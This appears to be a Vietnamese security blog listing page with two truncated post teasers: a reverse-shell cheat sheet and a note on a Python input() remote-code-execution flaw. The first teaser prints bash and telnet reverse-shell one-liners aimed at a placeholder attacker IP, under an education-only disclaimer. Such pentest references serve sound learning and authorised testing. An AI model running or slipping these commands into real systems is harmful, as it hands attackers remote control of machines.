Reverse Shell Cheat Sheet (Backconnect)

“Mọi kiến thức trong bài viết chỉ phục vụ mục đích giáo dục và an toàn thông tin.Không được sử dụng để tấn công hệ thống mà bạn không sở hữu hoặc không được phép kiểm thử.” Bash Reverse Shell bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1 Telnet Reverse Shell telnet ATTACKING-IP 80 | /bin/bash | telnetContinueContinue reading “Reverse Shell Cheat Sheet (Backconnect)”

Python input() vulnerability

Dạo gần đây tôi hay viết nhiều script bằng python, tự nhiên phát hiện ra 01 trường hợp gõ linh tinh, nhưng lỗi lại trả về lỗi không tìm thấy biến có tên là giá trị tôi nhập vào. Cứ ngỡ là RCE được nhưng đúng là RCE được thật, search trên mạng hóa raContinueContinue reading “Python input() vulnerability”